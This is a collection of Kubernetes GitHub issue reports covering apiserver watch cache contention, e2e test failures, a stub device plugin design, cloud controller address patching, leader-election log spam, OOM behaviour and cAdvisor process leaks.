on a very large cluster in etcd2 mode on 1.6  100k secrets, ~500mb of data in json , list /api/v1/secrets takes about 40s  20s to fetch from etcd, 20s to decode and then encode back to v1 secret .  when the apiserver restarts, the combination of very long list and very short watch interval  100 writes/sec  means that the apiserver is never able to establish a watch.  this appears to cause the storage cacher to hold a write lock long enough that secret requests from the nodes pile up on the api server  trying to acquire a read lock from the storage cache  to fill max-inflight  set to 3k  until the lock is released, at which point the requests are served.  this continues indefinitely until the watch cacher gets lucky and is able to establish a watch.\r \r causes:\r   very large list calls  100k secrets @ 500mb that take > 40s to complete  \r   large numbers of nodes with large number of unique secrets  250 nodes w/ 10k pods with 10-20k unique secrets @ 220 secret get /sec from nodes \r   max-in-flight that is larger than base load, but not larger than peak load  3k max in flight against 300-400 reads per sec \r   etcd2, where watch window is consumed before list call completes  1k window, 100 writes/sec \r \r the watch cache in general is not resilient to this particular problem  cache reflectors thrash and do not back off when they can't establish lists , and whatever lock we are holding is too aggressive.\r \r i'd like to implement paging  49338 for informers to mitigate this, but i think the reflector and watch cache also need to be resilient against the failure mode of being unable to establish a list watch.  etcd3 will help as well, but at 1m keys i think this may still be a risk.\r \r @wojtek-t we are seeing this on large production clusters, i'm going to track down where in the watch cache we're getting hung up

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r create validate   or add more checks in existing validate   for the following files:\r \r -  vendor/k8s.io/apiextensions-apiserver/pkg/cmd/server/start.go:80\r -  vendor/k8s.io/kube-aggregator/pkg/cmd/server/start.go:104\r -  vendor/k8s.io/sample-apiserver/pkg/cmd/server/start.go:82\r -  cmd/kube-apiserver/app/options/validation.go:49\r \r i am working on it.\r

a couple of gce-scale-performance runs failed due to failing to delete the network, which in turn was due to a couple of leaked firewall-rules  i manually deleted the network later to fix it :\r \r    \r w0912 14:34:23.820  error:  gcloud.compute.networks.delete  could not fetch resource:\r w0912 14:34:23.820   - the network resource 'projects/kubernetes-scale/global/networks/gce-scale-cluster' is already being used by 'projects/kubernetes-scale/global/firewalls/k8s-fw-a8986c438978c11e7bc7a42010a8e000'\r w0912 14:34:23.820  \r i0912 14:34:23.921  failed to delete network 'gce-scale-cluster'. listing firewall-rules:\r i0912 14:34:24.434  name                                     network            src_ranges                                                    rules      src_tags  target_tags\r i0912 14:34:24.434  k8s-2dd9fdb99ae3b676-node-http-hc        gce-scale-cluster  130.211.0.0/22,35.191.0.0/16,209.85.152.0/22,209.85.204.0/22  tcp:10256            gce-scale-cluster-minion\r i0912 14:34:24.434  k8s-fw-a8986c438978c11e7bc7a42010a8e000  gce-scale-cluster  0.0.0.0/0 \r    \r \r ref: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/31\r \r cc @kubernetes/sig-network-bugs @bowei  assigning to you, feel free to reassign as apt

stub device plugin for e2e test\r \r kubernetes now supports  device plugin  in v1.8.0, but it is still an  alpha  feature. we need to build stub device plugin for e2e test to stabilize this feature.\r \r   requirements\r \r the stub approach of device plugin should:\r \r - ensure a consistent and reliable behavior of device plugin\r - be flexible to use and easy to config\r - be os independent to run on most test environment\r \r   objectives\r \r 1. build a stub device plugin framework for e2e test:\r       read devices info from configuration files\r       auto advertise these devices to kubelet by  register  api\r       implement  listandwatch  interface to update devices' states to kubelet\r       add an easy approach to add/delete/update devices online without restarting\r       add a timer for auto start/shutdown\r       leave a file for recording test result\r 2. give some guideline with example to setup this stub device plugin framework.\r \r   non objectives\r \r \r   design details\r \r    stubmanager and stubworker\r \r the architecture of this stub framework is similar to  master/slave  model, there are one  stubmanager   with test config file  and some  stubworker s  with dummy device file :\r \r   stubmanager:  \r \r responsible for scheduling test processing:\r - watch changes of  config file , and update device states into  dummy device file  on each node\r - launch  stubworker   daemonset  and  pod  which will requests these devices\r - maintain test processing, such as simulating a device failure\r \r ! stubmanager  https://user-images.githubusercontent.com/5319646/31885223-558f1b64-b822-11e7-9831-e14025c09957.png \r \r   stubworker:  \r \r - a running stub device plugin instance which is deployed by  daemonset \r - responsible for watching changes of  dummy device file , then update devices' states to kubelet\r \r ! stubworker  https://user-images.githubusercontent.com/5319646/31885231-5cb9d956-b822-11e7-85fe-44c3cebe408a.png \r \r    device representation\r \r as mentioned above, devices info saved in a  config file .  stubmanager  will read this file to do some pre-test work, such as creating  dummy device files  on each node, launching  daemonset  with node selector if needed:\r \r    \r {\r     \ nodes\ :  \r         {\r             // for node selector if needed.\r             \ nodename\ : \ stub-node-1\ \r             // ssh info.\r             \ ssh\ : \ test:pwd@192.168.1.100\ ,\r             // timer will passed into daemonset by env setting,\r             // in seconds, sleep 5 seconds then start this stub device plugin.\r             \ starttimer\ : 5,\r             // in seconds, start 10 minutes then shutdown this stub device plugin.\r             \ shutdowntimer\ : 600,\r             \ devices\ :  \r                     {\r                         \ id\ : \ stub-device-1\ ,\r                         \ state\ : \ healthy\ ,\r                         \ path\ : \ /tmp/stub-device-1\ ,\r                         \ env\ : {\r                             \ stub1\ : \ stub1\ ,\r                         },\r                     },\r                     {\r                         \ id\ : \ stub-device-2\ ,\r                         \ state\ : \ healthy\ ,\r                         \ path\ : \ /tmp/stub-device-2\ ,\r                     },\r                     {\r                         \ id\ : \ stub-device-3\ ,\r                         \ state\ : \ unhealthy\ ,\r                         \ path\ : \ /tmp/stub-device-3\ ,\r                     },\r                     ...\r                  ,\r         },\r         {\r             \ nodename\ : \ stub-node-2\ ,\r             \ ssh\ : \ test:pwd@192.168.1.101\ ,\r             // if there is no timer specified, this device will launch immediately, and keep running.\r             \ devices\ :  \r                     {\r                         \ id\ : \ stub-device-1\ ,\r                         \ state\ : \ healthy\ ,\r                         \ path\ : \ /tmp/stub-device-1\ ,\r                         \ env\ : {\r \r                         },\r                     },\r                     {\r                         \ id\ : \ stub-device-2\ ,\r                         \ state\ : \ healthy\ ,\r                         \ path\ : \ /tmp/stub-device-2\ ,\r                     },\r                     {\r                         \ id\ : \ stub-device-3\ ,\r                         \ state\ : \ unhealthy\ ,\r                         \ path\ : \ /tmp/stub-device-3\ ,\r                     },\r                     ...\r                  ,\r         },\r          \r }\r    \r \r    device allocation simulation\r \r we need a  dummy device file  for allocation simulation, such as  /tmp/stub-device-1   /tmp/stub-device-2 , so a stub device plugin could touch this file to claim that it is allocated. it is also returned to kubelet in  deviceruntimespec   of  allocateresponse .\r \r also, we can echo string \ healthy\ /\ unhealthy\  into this file to represent this device is ok or not.\r \r  stubworker  will watch these files, and will update state to kubelet through the  listandwatch  api.\r \r    test processing definition\r \r  stubmanager  will watch the changes of config file, then ssh to  node  and update  dummy device file , so  stubworker  will catch this changes.\r \r we can define a custom test processing:\r \r - define the number of device plugins to be launched\r - deploy  pods  to request these devices\r - set a device to unhealthy by changing config file\r \r   pre-test  \r \r in this phase,  stubmanager  will ssh to every node to create dummy device file, which is defined in the  config file  as showed above.\r \r   device plugin initialization  \r \r after dummy device files are created,  stubworker  will:\r \r - read these files from  /tmp/  folder\r - do regular expression to get capacity of this device\r - get timer settings from env\r - sleep if needed then call  register  api with this device name and capacity\r \r   create pod to request devices  \r \r after devices are registered,  stubmanager  will deploy some pods to request these devices to validate  allocate    https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/device_plugin_handler.go l162  and  getresources    https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/container_manager_linux.go l617  interfaces.:\r \r - should wait here until all pod succeeded\r - report error if any one pod fails\r \r of course, we can also delete a pod to release device which is allocated to this pod.\r \r   error handling  \r \r we should simulate an error case to test device deletion:\r \r - inject errors by changing config file\r -  stubmanager  caches these changes, then updates dummy device file on node\r -  stubworker   device plugin endpoint  caches that some devices fail, then reports to kubelet\r - kubelet will delete these devices\r \r opening this issue for discussion/suggestions, @jiayingz @vishh ptal.

is this a bug report or feature request?  :\r  @kubernetes/sig-node-bugs \r / umbrella bug:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/231 failed with:\r    \r i1126 00:23:15.562  nov 26 00:23:15.562: info: error waiting for all pods to be running and ready: 1 / 223 pods in namespace \ kube-system\  are not in running and ready state in 10m0s\r i1126 00:23:15.562  pod                      node                                  phase   grace conditions\r i1126 00:23:15.563  fluentd-gcp-v2.0.9-swd7n e2e-scalability-1-6-minion-group-05k9 pending        {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-26 00:06:51 +0000 utc reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-26 00:06:51 +0000 utc reason:containersnotready message:containers with unready status:  fluentd-gcp } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-11-26 00:07:04 +0000 utc reason: message:} \r    \r \r looking closer,  that particular kubelet  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/231/artifacts/e2e-scalability-1-6-minion-group-05k9/kubelet.log  keeps complaining repeatedly about not being able to fetch the image since 00:07:26.456094 until the end of its log:\r    \r e1126 00:07:41.271925    1447 pod_workers.go:182  error syncing pod b1bd7a8f-d23d-11e7-b3e6-42010a8e0002  \ fluentd-gcp-v2.0.9-swd7n_kube-system b1bd7a8f-d23d-11e7-b3e6-42010a8e0002 \  , skipping: failed to \ startcontainer\  for \ fluentd-gcp\  with imageinspecterror: \ failed to inspect image \\\ gcr.io/google-containers/fluentd-gcp:2.0.9\\\ : rpc error: code = unknown desc = error response from daemon: layer does not exist\ \r    \r \r even though none of the remaining 99 nodes encountered such problems. for example  another node  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-stable1/231/artifacts/e2e-scalability-1-6-minion-group-5487/kubelet.log  says just:\r    \r i1126 00:07:09.136689    1444 kubelet.go:1871  syncloop  pleg : \ fluentd-gcp-v2.0.9-fc2np_kube-system b2378687-d23d-11e7-b3e6-42010a8e0002 \ , event: &pleg.podlifecycleevent{id:\ b2378687-d23d-11e7-b3e6-42010a8e0002\ , type:\ containerstarted\ , data:\ 92dc6da2f844f062d4713ad9ef08c15296fdfd757d62420453d03c9dca92564d\ }\r i1126 00:07:14.690885    1444 kube_docker_client.go:333  stop pulling image \ gcr.io/google-containers/fluentd-gcp:2.0.9\ : \ status: downloaded newer image for gcr.io/google-containers/fluentd-gcp:2.0.9\ \r i1126 00:07:14.914981    1444 kubelet.go:1871  syncloop  pleg : \ fluentd-gcp-v2.0.9-fc2np_kube-system b2378687-d23d-11e7-b3e6-42010a8e0002 \ , event: &pleg.podlifecycleevent{id:\ b2378687-d23d-11e7-b3e6-42010a8e0002\ , type:\ containerstarted\ , data:\ c52e807ad2e2be3b65e3b101a706244a4e842b05f13ad2188e3833d6c8e1867f\ }\r i1126 00:07:16.360439    1444 kube_docker_client.go:333  stop pulling image \ gcr.io/google-containers/prometheus-to-sd:v0.2.2\ : \ status: downloaded newer image for gcr.io/google-containers/prometheus-to-sd:v0.2.2\ \r i1126 00:07:17.034345    1444 kubelet.go:1871  syncloop  pleg : \ fluentd-gcp-v2.0.9-fc2np_kube-system b2378687-d23d-11e7-b3e6-42010a8e0002 \ , event: &pleg.podlifecycleevent{id:\ b2378687-d23d-11e7-b3e6-42010a8e0002\ , type:\ containerstarted\ , data:\ fb77ff1e0b589e23e256d3dbb63d1b53cd2f40a30392294cbfd79d4101485e43\ }\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r getting a sandboxchanged event on all successfuly completed pods created by cron job.\r \r   what you expected to happen  :\r \r no sandboxchanged event published by jobs that completed successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   create a cron job\r   run  kubectl get pods -a | grep 'completed' | awk '{ print $1 }' | xargs kubectl describe pod \r \r all pods described will have their final event being  sandboxchanged  with the message _pod sandbox changed, it will be killed and re-created._\r \r   anything else we need to know?  :\r \r i am using  datadog  https://app.datadoghq.com  to monitor the events and i expect to get the  sandboxchanged  only when there is a failure or problem, the numerous events i am receiving now make it difficult to know when something is actually wrong.\r \r   environment  :\r - kubernetes version  use  kubectl version  : client v1.8.2, server v1.8.5-gke.0\r - cloud provider or hardware configuration: google kubernetes engine\r - os  e.g. from /etc/os-release : macos\r - kernel  e.g.  uname -a  : darwin\r \r @kubernetes/sig-node

when the kubelet first starts the folllowing error is emitted to the logs\r    \r skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r    \r this is because the relist has not yet run which results in a duration that is just the time since the zero time instant  https://golang.org/pkg/time/ time.iszero \r \r xref https://bugzilla.redhat.com/show_bug.cgi?id=1632430\r \r 

what happened  :\r we have our own cloudprovider and nodeaddressesbyproviderid impl is below:\r    \r // nodeaddressesbyproviderid returns the node addresses of an instances with the specified unique providerid\r // e.g. bce providerid: baidubce://i-8tokkcdo\r func  bc  bcecloud  nodeaddressesbyproviderid ctx context.context, providerid string     v1.nodeaddress, error  {\r \tinstances, err := bc.clientset.cce  .listinstances bc.clusterid \r \tif err != nil {\r \t\treturn nil, err\r \t}\r \tvar addresses   v1.nodeaddress\r \tif len instances  == 0 {\r \t\treturn addresses, nil\r \t}\r \tfor _, instance := range instances {\r                 addresses = append addresses, v1.nodeaddress{type: v1.nodeinternalip, address: instance.internalip} \r \t\taddresses = append addresses, v1.nodeaddress{type: v1.nodehostname, address: instance.internalip} \r \t\t\r \t}\r \treturn addresses, nil\r }\r    \r then ccm init failed with error log:\r    \r jan 14 17:06:31 instance-kj8j70el-3 kube-cloud-controller-manager 127084 : e0114 17:06:31.072910  127084 node_controller.go:209  error patching node with cloud ip addresses =  failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/addresses\\\ : {\\\ type\\\ :\\\ internalip\\\ },{\\\ type\\\ :\\\ hostname\\\ },{\\\ type\\\ :\\\ internalip\\\ },{\\\ type\\\ :\\\ hostname\\\ } ,\\\ addresses\\\ : {\\\ address\\\ :\\\ 172.16.0.6\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ 172.16.0.12\\\ ,\\\ type\\\ :\\\ internalip\\\ },{\\\ address\\\ :\\\ 172.16.0.6\\\ ,\\\ type\\\ :\\\ hostname\\\ },{\\\ address\\\ :\\\ 172.16.0.12\\\ ,\\\ type\\\ :\\\ hostname\\\ } }}\  for node \ 172.16.0.12\ : the order in patch list:\r jan 14 17:06:31 instance-kj8j70el-3 kube-cloud-controller-manager 127084 :  map address:172.16.0.6 type:internalip  map type:internalip address:172.16.0.12  map address:172.16.0.6 type:hostname  map address:172.16.0.12 type:hostname  \r jan 14 17:06:31 instance-kj8j70el-3 kube-cloud-controller-manager 127084 : doesn't match $setelementorder list:\r jan 14 17:06:31 instance-kj8j70el-3 kube-cloud-controller-manager 127084 :  map type:internalip  map type:hostname  map type:internalip  map type:hostname  \r jan 14 17:06:31 instance-kj8j70el-3 kube-cloud-controller-manager 127084 :  \r jan 14 17:06:33 instance-kj8j70el-3 kube-cloud-controller-manager 127084 : i0114 17:06:33.419426  127084 node_controller.go:329  this node 172.16.0.12 is registered without the cloud taint. will not process.\r jan 14 17:06:33 instance-kj8j70el-3 kube-cloud-controller-manager 127084 : i0114 17:06:33.652201  127084 node_controller.go:329  this node 172.16.0.6 is registered without the cloud taint. will not process.\r    \r \r   but if we replace two line see below :  nodeinternalip and nodehostname, it success  \r    \r // nodeaddressesbyproviderid returns the node addresses of an instances with the specified unique providerid\r // e.g. bce providerid: baidubce://i-8tokkcdo\r func  bc  bcecloud  nodeaddressesbyproviderid ctx context.context, providerid string     v1.nodeaddress, error  {\r \tinstances, err := bc.clientset.cce  .listinstances bc.clusterid \r \tif err != nil {\r \t\treturn nil, err\r \t}\r \tvar addresses   v1.nodeaddress\r \tif len instances  == 0 {\r \t\treturn addresses, nil\r \t}\r \tfor _, instance := range instances {\r \t\taddresses = append addresses, v1.nodeaddress{type: v1.nodehostname, address: instance.internalip} \r \t\taddresses = append addresses, v1.nodeaddress{type: v1.nodeinternalip, address: instance.internalip} \r \t}\r \treturn addresses, nil\r }\r    \r \r   what you expected to happen  :\r ccm init success.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.5\r - cloud provider or hardware configuration: our own cloud provider.\r

this option is not support for kubernetes v1.14.0,is it should  update or  how can i enable ipvs mode ?\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/readme.md\r \r ...\r kubeproxy:\r   config:\r     featuregates:\r       supportipvsproxymode: true\r     mode: ipvs\r ...\r

gci test failing:  kubernetes-e2e-gci-gke-ingress-release-1.3    k8s.io  loadbalancing: l7  feature:ingress   k8s.io  gce  feature: ingress  shoud create ingress with given static-ip   https://k8s-testgrid.appspot.com/google-gke gci-gke-ingress-release-1.3

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ lock is held by\   \ has not yet expired\   ---    is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : tested on 1.3.5      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5+coreos.1\ , gitcommit:\ 4fc64a21f8a593d97b75296acd1e979391518b28\ , gittreestate:\ clean\ , builddate:\ 2016-08-22t17:15:28z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }      and 1.3.8  upgraded today       client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.8+coreos.1\ , gitcommit:\ 6b29caf6507ce9989984720212fd3e3341069e06\ , gittreestate:\ clean\ , builddate:\ 2016-09-30t16:54:50z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -  hardware: vmware guest -  os: coreos 1122.2.0 -  kernel: 4.7.0-coreos - masters: 3  /etc/kubernetes/manifests/kube-scheduler.yaml looks like this:      apiversion: v1 kind: pod metadata:   name: kube-scheduler   namespace: kube-system   labels:     app: kube-scheduler spec:   hostnetwork: true   containers:   - name: kube-scheduler     image: quay.io/coreos/hyperkube:v1.3.5_coreos.1     command:     - /hyperkube     - scheduler     - --master=http://127.0.0.1:8080     - --leader-elect=true     - --v=2     livenessprobe:       httpget:         host: 127.0.0.1         path: /healthz         port: 10251       initialdelayseconds: 15       timeoutseconds: 1      /etc/kubernetes/manifests/kube-controller-manager.yaml looks like this:      apiversion: v1 kind: pod metadata:   name: kube-controller-manager   namespace: kube-system   labels:     app: kube-controller-manager spec:   hostnetwork: true   containers:   - name: kube-controller-manager     image: quay.io/coreos/hyperkube:v1.3.5_coreos.1     command:     - /hyperkube     - controller-manager     - --master=http://127.0.0.1:8080     - --leader-elect=true      - --service-account-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem     - --root-ca-file=/etc/kubernetes/ssl/ca.pem     - --v=2     livenessprobe:       httpget:         host: 127.0.0.1         path: /healthz         port: 10252       initialdelayseconds: 15       timeoutseconds: 1     volumemounts:     - mountpath: /etc/kubernetes/ssl       name: ssl-certs-kubernetes       readonly: true     - mountpath: /etc/ssl/certs       name: ssl-certs-host       readonly: true   volumes:   - hostpath:       path: /etc/kubernetes/ssl     name: ssl-certs-kubernetes   - hostpath:       path: /usr/share/ca-certificates     name: ssl-certs-host         what happened  :  the logs from kube-scheduler and kube-controller-manager are spamming with:      i1012 07:13:30.700862       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:33.263266       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:36.944429       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:40.486944       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:44.772153       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:47.186971       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:49.914362       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:52.353564       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:56.181010       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:13:59.263994       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:03.553559       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:06.325838       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:10.595729       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:13.347343       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:17.330717       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:21.505816       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:23.950507       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:26.892771       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:30.914393       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:34.408769       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:38.544271       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:40.645166       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:43.919125       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:47.663210       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:51.768576       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:14:55.748494       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:00.116892       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:03.489400       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:06.465890       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:09.703411       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:13.463524       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:15.607621       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:17.896426       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:22.087427       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:26.217274       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:30.269665       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:33.637867       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:36.712575       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:40.783867       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:44.372188       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:47.605168       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:50.434502       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:53.216699       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:57.015595       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:15:59.152636       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired i1012 07:16:01.301530       1 leaderelection.go:296  lock is held by utv-kube03 and has not yet expired      the node holding the lock only logs this:      i1012 07:27:20.982437       1 leaderelection.go:215  sucessfully acquired lease kube-system/kube-scheduler        what you expected to happen  : if this is expected behaviour i would like to be able to supress those messages with --v=2    how to reproduce it    as minimally and precisely as possible : i think it would be sufficient to run scheduler or controller-manager with  --leader-elect?true .   etcdctl get registry/services/endpoints/kube-system/kube-controller-manager looks like this:      {     \ kind\ : \ endpoints\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ kube-controller-manager\ ,         \ namespace\ : \ kube-system\ ,         \ selflink\ : \ /api/v1/namespaces/kube-system/endpoints/kube-controller-manager\ ,         \ uid\ : \ b9ee7a6f-8f82-11e6-b186-0050568802e1\ ,         \ creationtimestamp\ : \ 2016-10-11t07:17:10z\ ,         \ annotations\ : {             \ control-plane.alpha.kubernetes.io/leader\ : \ {\\\ holderidentity\\\ :\\\ utv-kube03\\\ ,\\\ leasedurationseconds\\\ :15,\\\ acquiretime\\\ :\\\ 2016-10-11t07:17:10z\\\ ,\\\ renewtime\\\ :\\\ 2016-10-12t07:18:54z\\\ ,\\\ leadertransitions\\\ :0}\          }     },     \ subsets\ :    }      the cluster seems healthy and are scheduling pods correctly.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r admission controller \ limitpodhardantiaffinitytopology\  was developed to restrict hard  \ requiredduringscheduling\   anti-affinity to \ node\  topologykey,  see also: https://github.com/kubernetes/kubernetes/pull/18265 issuecomment-172142482 and https://github.com/kubernetes/kubernetes/issues/19914 , but it's not yet enabled by default, we should fix it.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is not much value in keeping a few components in plugin/pkg when everything else lives in and pkg/\r \r this follows the work to move scheduler out of the plugin directory from  57579  the end goal being to delete the plugin directory. \r \r   what you expected to happen  :\r \r components that would be moved:\r plugin/pkg/admission\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @thockin \r /cc @kubernetes/sig-node-feature-requests\t\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r when a oom happened, the infra container got killed first in guarantee.\r \r   what you expected to happen  :\r \r we want the process in container who consume lots of memory got killed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a guarantee pod which malloc more and more memory.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r hareware\r \r - os  e.g. from /etc/os-release :\r \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r \r - kernel  e.g.  uname -a  :\r \r linux laofan 4.4.95-mogu2.3.x86_64  1 smp tue jun 5 16:07:34 cst 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

in the past, kubelet summary api e2e tests have flaked on coreos specifically. the failure were all related to kubelet not being able to identify its own cgroups and hence not including  kubelet  summary stats in the output of  /stats/summary .  running the summary tests multiple times should help reproduce this issue.  focus=summary make test_e2e_node .  https://github.com/kubernetes/kubernetes/pull/26586 issuecomment-224017858  cc @euank @yifan-gu @derekwaynecarr

following a recent bump to 0.23.4 cadvisor started using thin_ls.  this utility is however not available in the ubuntu thin-provisioning-tools package, both trusty and xenial versions - unlike fedora's device-mapper-persistent-data.  the package must be therefore be installed from sources. i guess there's little that can be done here, but it would be nice to have a way to signal the missed dependency, as advocated by issue  26093

extracted from https://github.com/kubernetes/kubernetes/pull/23491 issuecomment-251777767      this appears to be leaking journalctl processes originating here: https://github.com/kubernetes/kubernetes/blob/master/vendor/github.com/google/cadvisor/utils/oomparser/oomparser.go l169      https://github.com/kubernetes/kubernetes/pull/23491 set kubelet unit files to restart just the kubelet process and this ends up orphaning and leaking  journalctl  processes launched by cadvisor. afaik, this behavior can leak many other processes like  du ,  ls ,  mount , etc.   @kubernetes/sig-node we need to fix this.   i recommend reverting https://github.com/kubernetes/kubernetes/pull/23491 to begin with as suggested by @wwwtyro

